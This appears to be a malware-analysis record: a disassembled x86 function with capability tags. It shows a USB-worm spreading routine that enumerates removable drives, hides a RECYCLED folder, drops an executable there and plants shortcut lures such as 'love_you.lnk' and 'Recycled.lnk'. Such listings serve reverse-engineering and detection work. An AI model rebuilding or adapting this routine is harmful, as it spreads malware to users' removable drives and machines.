Function at 0x4032a9
Capabilities:
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x1534
call fcn.00407a90
lea ecx, [ebp - 0x1508]
mov edx, str.love_you.lnk
mov eax, 0xd80
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.ntdll.dll_memcpy
mov dword [ebp - 0x150c], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x778]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x778]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x150c], 0
cmp dword [ebp - 0x150c], 0xff
jg 0x403686
lea eax, [ebp - 8]
add eax, dword [ebp - 0x150c]
sub eax, 0x770
cmp byte [eax], 0
je 0x403678
lea eax, [ebp - 8]
add eax, dword [ebp - 0x150c]
sub eax, 0x770
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x403678
lea eax, [ebp - 8]
add eax, dword [ebp - 0x150c]
sub eax, 0x770
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x788]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x788]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
jne 0x403678
mov dword [esp + 0xc], 0x40a3e5
lea eax, [ebp - 0x788]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.004048a0
test eax, eax
je 0x403405
mov dword [esp + 4], 0x40a3e5
lea eax, [ebp - 0x570]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
jmp 0x403494
mov dword [esp + 0xc], str.RECYCLED
lea eax, [ebp - 0x788]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.004048a0
test eax, eax
je 0x403457
mov dword [esp + 4], str.RECYCLED
lea eax, [ebp - 0x570]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
jmp 0x403494
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00404a0e
mov dword [esp + 4], 0x27
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp + 4], str.RECYCLED
lea eax, [ebp - 0x570]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
mov dword [esp + 0x14], str..exe
mov dword [esp + 0x10], 0x4083ab
lea eax, [ebp - 0x570]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x788]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_s
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00404852
test eax, eax
jne 0x4034ee
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00402f94
mov dword [esp + 8], 0x60
lea eax, [ebp - 0x788]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1508]
mov dword [esp], eax
call fcn.004037c8
test eax, eax
jne 0x4035e6
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea ebx, [ebp - 0x1508]
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 5
mov edx, ecx
sub edx, eax
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 2
lea eax, [ebx + eax]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x788]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], str.winsys
lea eax, [ebp - 0x570]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4083ab
lea eax, [ebp - 0x568]
mov dword [esp], eax
call fcn.00404259
mov dword [esp + 0x10], 0x560
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40a388
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00403230
lea eax, [ebp - 0x788]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sRecycled.lnk
lea eax, [ebp - 0x678]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00404852
test eax, eax
jne 0x403678
mov dword [esp + 0x10], 0x1f
mov dword [esp + 0xc], str.winsys
lea eax, [ebp - 0x570]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4083ab
lea eax, [ebp - 0x568]
mov dword [esp], eax
call fcn.00404259
mov dword [esp + 0x10], 0x560
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40a388
lea eax, [ebp - 0x568]
mov dword [esp + 4], eax
lea eax, [ebp - 0x678]
mov dword [esp], eax
call fcn.00403230
lea eax, [ebp - 0x150c]
add dword [eax], 4
jmp 0x403322
mov ebx, dword [ebp - 4]
leave
ret